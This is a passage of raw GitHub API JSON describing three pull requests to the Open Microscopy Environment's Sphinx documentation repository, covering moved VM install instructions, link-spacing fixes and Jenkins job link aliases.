epos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"f6550a0ef34121b7a5912cc98928964c645111aa","ref":"VM_install"},"assignee":null,"updated_at":"2013-02-02T21:21:49Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/231/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/231/commits","closed_at":"2013-02-02T21:21:49Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/231","merged_at":null,"merge_commit_sha":"8fe6d48e138e75b1ff353bfc5fec9477faa18f21","created_at":"2013-01-24T13:41:44Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/231/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/231.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/231","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"This PR moves the instructions located under docs/install/VM/README.txt in the main openmicroscopy repository to the documentation.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/231.diff","id":3820054,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"18ba8058a525f1e3c5bedf3c46b459e3e2b6e76a","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/230/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/230"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/230"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/230"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/230/comments"}},"title":"Remove extra spaces on build system links.","state":"closed","number":230,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/230","head":{"user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"label":"mtbc:small-typos","repo":{"forks":0,"svn_url":"https://github.com/mtbc/ome-documentation","merges_url":"https://api.github.com/repos/mtbc/ome-documentation/merges","languages_url":"https://api.github.com/repos/mtbc/ome-documentation/languages","assignees_url":"https://api.github.com/repos/mtbc/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/mtbc/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/mtbc/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/mtbc/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"open_issues":0,"updated_at":"2013-01-29T21:32:59Z","milestones_url":"https://api.github.com/repos/mtbc/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/mtbc/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/mtbc/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/mtbc/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/mtbc/ome-documentation/events","notifications_url":"https://api.github.com/repos/mtbc/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/mtbc/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/mtbc/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/mtbc/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/mtbc/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/mtbc/ome-documentation/collaborators{/collaborator}","full_name":"mtbc/ome-documentation","ssh_url":"git@github.com:mtbc/ome-documentation.git","pulls_url":"https://api.github.com/repos/mtbc/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/mtbc/ome-documentation/subscription","teams_url":"https://api.github.com/repos/mtbc/ome-documentation/teams","watchers":0,"created_at":"2012-10-23T10:27:15Z","git_url":"git://github.com/mtbc/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/mtbc/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/mtbc/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/mtbc/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/mtbc/ome-documentation/keys{/key_id}","size":268,"compare_url":"https://api.github.com/repos/mtbc/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/mtbc/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/mtbc/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/mtbc/ome-documentation/hooks","fork":true,"html_url":"https://github.com/mtbc/ome-documentation","master_branch":"develop","clone_url":"https://github.com/mtbc/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/mtbc/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/events{/number}","private":false,"id":6350485,"default_branch":"develop","pushed_at":"2013-01-29T08:26:06Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/mtbc/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/mtbc/ome-documentation/forks"},"sha":"442139924e1bcae862a8270da9c8e25efca8cbfa","ref":"small-typos"},"assignee":null,"updated_at":"2013-01-25T08:03:06Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/230/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/230/commits","closed_at":"2013-01-25T08:03:06Z","user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/230","merged_at":"2013-01-25T08:03:06Z","merge_commit_sha":"db2aea0141d33dfbf61fdec4e917a9cdb3a9c3b6","created_at":"2013-01-24T11:24:26Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/230/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/230.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/230","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"I noticed some leading spaces in hyperlinks. They seem to work fine without.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/230.diff","id":3818348,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1a5500adbd66f9c5c30b070bd5503b174478d02d","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/229/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/229"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/229"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/229"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/229/comments"}},"title":"Virtualjob extlink","state":"closed","number":229,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/229","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:virtualjob_extlink","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"61139ce688bda4c5abb750e684c1dd57e7209632","ref":"virtualjob_extlink"},"assignee":null,"updated_at":"2013-01-25T13:17:57Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/229/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/229/commits","closed_at":"2013-01-25T13:17:57Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/229","merged_at":"2013-01-25T13:17:57Z","merge_commit_sha":"98a269b52af13e6aa9e32dbdd69655dc7bc82d09","created_at":"2013-01-24T11:00:01Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/229/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/229.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/229","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"This PR should fix the link to the latest succesful `.ova` file in the virtual appliance documentation.\r\n\r\nAt the current HEAD of this branch, I have\r\n```\r\nsbesson:sphinx sebastien$ git grep -E \"\\-trunk\"\r\nREADME.rst:By default, the OMERO job is set to ``OMERO-trunk``. To specify a different \r\nconf.py: jenkins_job = 'OMERO-trunk'\r\ndevelopers/Cpp.txt:- :jenkins:`Windows Server 2003 (32 bit) `\r\ndevelopers/Cpp.txt:- :jenkins:`Linux `\r\ndevelopers/Cpp.txt:- :jenkins:`MacOSX `\r\ndevelopers/continuous-integration.txt: * :term:`OMERO-trunk`\r\ndevelopers/continuous-integration.txt: * :term:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`OMERO-trunk`\r\ndevelopers/release-process.txt: - See: :jenkins:`job/OMERO-trunk-components`.\r\ndevelopers/release-process.txt:- Rename \"\\*-trunk\" jenkins jobs to \"\\*-\"\r\n```\r\n\r\nAll the `*-trunk` links present in the developers/continuous-integration.txt page are expected. The only leftovers are the `OMERO-trunk-components` links. Once this job is green again and copied on to the stable branch, I will implement the same strategy as the one in this PR and create a `componentsjob` alias.\r\n\r\n/cc @joshmoore, @hflynn","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/229.diff","id":3818035,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-d